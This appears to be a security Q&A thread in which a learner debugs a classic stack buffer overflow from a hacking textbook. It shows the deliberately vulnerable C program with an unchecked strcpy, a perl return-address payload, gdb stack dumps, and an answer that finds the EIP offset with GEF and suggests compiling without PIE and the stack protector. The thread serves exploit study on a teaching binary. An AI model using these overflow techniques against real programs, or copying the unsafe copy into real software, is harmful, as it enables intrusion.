I am practicing a function return address overwriting exploit. However, the program instruction pointer instead gets overwritten by gibberish. I have tried compiling with -fno-builtin and -fno-stack-protector, but nothing seems to change the behavior.

Code (from "Hacking the Art of Exploitation", 2nd Edition, Page 125):

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
        char password_buffer[16];
        int auth_flag = 0;

        strcpy(password_buffer, password);

        if(strcmp(password_buffer, "brillig") == 0)
                auth_flag = 1;
        if(strcmp(password_buffer, "outgrabe") == 0)
                auth_flag = 1;

        return auth_flag;

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Usage: %s <password>\n", argv[0]);
        if(check_authentication(argv[1])) {
                printf("      Access Granted.\n");
        } else {
                printf("\nAccess Denied.\n");

Running in the debugger:

run $(perl -e 'print "\x97\x62\x55\x56"x8')

This address is to come in at the start of "Access Granted". See below disassembly at 0x56556297 <+82>: add esp,0x4:

   0x5655627e <+57>:    push   eax
   0x5655627f <+58>:    call   0x565561d9 <check_authentication>
   0x56556284 <+63>:    add    esp,0x4
   0x56556287 <+66>:    test   eax,eax
   0x56556289 <+68>:    je     0x565562ba <main+117>
   0x5655628b <+70>:    lea    eax,[ebx-0x1fd1]
   0x56556291 <+76>:    push   eax
   0x56556292 <+77>:    call   0x56556060 <puts@plt>
   0x56556297 <+82>:    add    esp,0x4
   0x5655629a <+85>:    lea    eax,[ebx-0x1fb4]
   0x565562a0 <+91>:    push   eax
   0x565562a1 <+92>:    call   0x56556060 <puts@plt>
   0x565562a6 <+97>:    add    esp,0x4
   0x565562a9 <+100>:   lea    eax,[ebx-0x1f9e]
   0x565562af <+106>:   push   eax
   0x565562b0 <+107>:   call   0x56556060 <puts@plt>

Stack before string copy:

(gdb) next
9       strcpy(password_buffer, password);
(gdb) x/12x $esp
0xffffd190: 0x00000002  0xffffd264  0xffffd270  0x565562fd
0xffffd1a0: 0x00000000  0x56559000  0xffffd1b8  0x56556284
0xffffd1b0: 0xffffd429  0x00000000  0x00000000  0xf7dd6e46

Stack after string copy:

(gdb) next
11      if(strcmp(password_buffer, "brillig") == 0)
(gdb) x/12x $esp
0xffffd190: 0x56556297  0x56556297  0x56556297  0x56556297
0xffffd1a0: 0x56556297  0x56556297  0x56556297  0x56556297
0xffffd1b0: 0xffffd400  0x00000000  0x00000000  0xf7dd6e46

... and the crash with backtrace and value of instruction pointer.

(gdb) cont

    Program received signal SIGSEGV, Segmentation fault.
    0xfdabe850 in ?? ()
    (gdb) bt
    #0  0xfdabe850 in ?? ()
    #1  0x565562a6 in main (argc=-1159180033, argv=0x83fffffd)
        at auth_overflow2.c:26
    Backtrace stopped: previous frame inner to this frame (corrupt stack?)
    (gdb) i r $eip
    eip            0xfdabe850          0xfdabe850

Where does this value of "eip" come from? Is there some advanced Linux protection I did not (or cannot) turn off?

I am running on:

tester@Test:/$ uname -a
Linux Test 5.10.0-kali3-amd64 #1 SMP Debian 5.10.13-1kali1 (2021-02-08) x86_64 GNU/Linux
  • In my opinion this question is out of scope here. I suggest to move it to SO. – mentallurg Mar 18 at 19:52
  • Where did you get \x97\x62\x55\x56 from? Are you sure that's where you want to jump to? I suggest stepping through until the crash, you will see what is happening. – multithr3at3d Mar 18 at 22:35
  • @mentallurg I may move this over to SO in a few days (especially if it's voted closed!) – Stone True Mar 19 at 14:40
  • @multithr3at3d I added the disassembly showing where the return address comes from. You can see from the backtrace above that the code makes it back to 0x565562a6, but then tries to go to 0xfdabe850, which is gibberish. I have replicated this behavior by stepping each instruction. The code goes back to main, steps for a while, but something is wiping eip after 0x565562a6 (I think). – Stone True Mar 19 at 14:43
  • Asked on SO at stackoverflow.com/questions/66922539/… – Stone True Apr 2 at 16:48

For starters, no, that is not an exploit mitigation you are seeing. It is likely just due to an issue with your exploit. To explain the following:

 #0  0xfdabe850 in ?? ()
 #1  0x565562a6 in main (argc=-1159180033, argv=0x83fffffd

GDB is building the stack trace based on the values that it sees in memory. With a buffer overflow where you are overwriting things you aren't supposed to, it is likely that the stack got corrupted, and that's what GDB is showing.

The issue with your exploit may be that your payload is not long enough. It's still long enough to corrupt the stack and cause a crash, but not long enough to control the instruction pointer how you want to. To determine the correct offset, I did (using GDB+GEF):

gef➤  pattern create 100                                                                                                                                                                                           
[+] Generating a pattern of 100 bytes                                                                                                                                                                              
[+] Saved as '$_gef0' 
gef➤ gef run $_gef0
Program received signal SIGSEGV, Segmentation fault.
0x61616169 in ?? ()
gef➤  pattern search $eip
[+] Searching '$eip'
[+] Found at offset 32 (little-endian search) likely
[+] Found at offset 29 (big-endian search)

That tells me that the instruction pointer (EIP) is set from whatever is in bytes 32-35 (inclusive) of your payload. By writing "\x97\x62\x55\x56"x8 as you currently are, you are writing just up to this point (bytes 28-31), but not far enough. So, changing your multiplier to x9 may be enough to solve the issue.

A side note, if you are practicing a simple exploit like this, you are probably going to want to disable PIE when compiling the binary (gcc -fno-pie --no-pie), since it will cause the program addresses to be randomized every time you run it when outside of GDB. \x97\x62\x55\x56 may be the correct address while in the debugger, but that is unlikely to stay the same elsewhere.

* It's possible these differences come from differences between our machines/compilation. But I compiled the code with gcc -m32 -fno-stack-protector.

  • Changing the number of overwrites does not seem to impact the behavior; via stepping, I can confirm that the code is returning to the overwritten location, THEN it crashes after a few instructions. – Stone True Apr 2 at 16:43

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.